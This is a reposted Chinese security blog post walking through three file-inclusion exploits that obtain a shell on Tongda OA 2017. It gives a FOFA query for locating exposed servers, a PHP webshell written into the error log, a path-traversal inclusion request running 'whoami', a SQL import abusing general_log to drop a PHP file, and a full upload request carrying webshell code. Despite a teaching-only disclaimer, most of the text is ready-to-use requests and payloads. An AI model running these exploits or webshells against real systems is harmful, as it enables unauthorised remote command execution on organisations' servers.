推文开头,先学习一下中华人民共和国网络安全法,大家要做一名合法的白帽子,不要做一些违法乱纪的事情。
https://www.cto.ac.cn/thread-106.htm
本推文仅用于信息防御技术教学,切勿用于其他用途,有侵权或者存在危害性,请联系我进行删除。
今天是平安夜
不会吧,不会吧
这么晚还有人搞安全?
不会吧,不会吧
还没有人收到plmm的苹果?
...
今天复现通达OA的文件包含GETSHELL
通达OA版本是2017版
fofa的搜索语法为
app="TDXK-通达OA"
第一种:错误日志写入,文件包含GETSHELL
先写入错误日志
http://x.x.x.x/<?php $command=$_POST['cmd'];$wsh = new COM('Wscript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>
尝试文件包含
http://x.x.x.x/mac/gateway.php
post
json={"url":"/general/../../nginx/logs/oa.error.log"}&cmd=whoami
然后执行成功
第二种:数据库文件导入,文件包含GETSHELL
此漏洞,还需要利用任意用户登陆这个漏洞,来配套使用
先获取用户cookie
脚本可以在github下载,这里我不提供了。
想知道完整获取cookie思路的,可以翻公众号的历史记录
导入数据库文件
POST /general/system/database/sql.php HTTP/1.1
Host:x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=gquvpovtbgsnrnmf65b04qhu11
Content-Length: 353
Content-Type: multipart/form-data; boundary=ffa8a9db2f0c70a97fba10db088eca26
--ffa8a9db2f0c70a97fba10db088eca26
Content-Disposition: form-data; name="sql_file"; filename="shell.sql"
Content-Type: application/octet-stream
set global general_log='on';
SET global general_log_file='D:/MYOA/webroot/test.php';
SELECT '<?php echo(md5(1));unlink(__FILE__);?>';
set global general_log='off';
--ffa8a9db2f0c70a97fba10db088eca26--
导入成功后,访问根目录下的test.php文件
http://x.x.x.x/test.php
发现写入的php脚本代码已经被执行。
第三种:文件上传+文件包含GETSHELL
上传点依旧是上次那个点
http://x.x.x.x/ispirit/im/upload.php
数据包
POST /ispirit/im/upload.php HTTP/1.1
Host: x.x.x.x
Content-Length: 656
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="txt"
Content-Type: image/jpeg
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
------WebKitFormBoundarypyfBh1YB4pV8McGB--
上传成功后,尝试文件包含
http://x.x.x.x/mac/gateway.php
post
json={"url":"/general/../../attach/im/2012/1472376370.txt"}&cmd=whoami
此时发现,命令执行成功,文件包含成功
看过上次同一个点上传文件后拿shell的朋友,肯定有疑问
为什么不写一句话马,然后直接拼接路径,菜刀连接,最后拿shell
上次文件保存的路径是
D:MYOAwebrootim20121894672167.php
而这次上传文件后,文件保存路径是
D:MYOAattachim20121472376370.txt
简单的说,就是一个在网站根目录下,一个不在网站根目录下。
因此在拿通达OA这个版本下的shell时,要注意路径的差异。
【往期推荐】
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
分享前辈知识,一起学习共同进步!!
如侵权请私聊公众号删文
本文始发于微信公众号(渗透Xiao白帽):通达OA三种文件包含GETSHELL漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论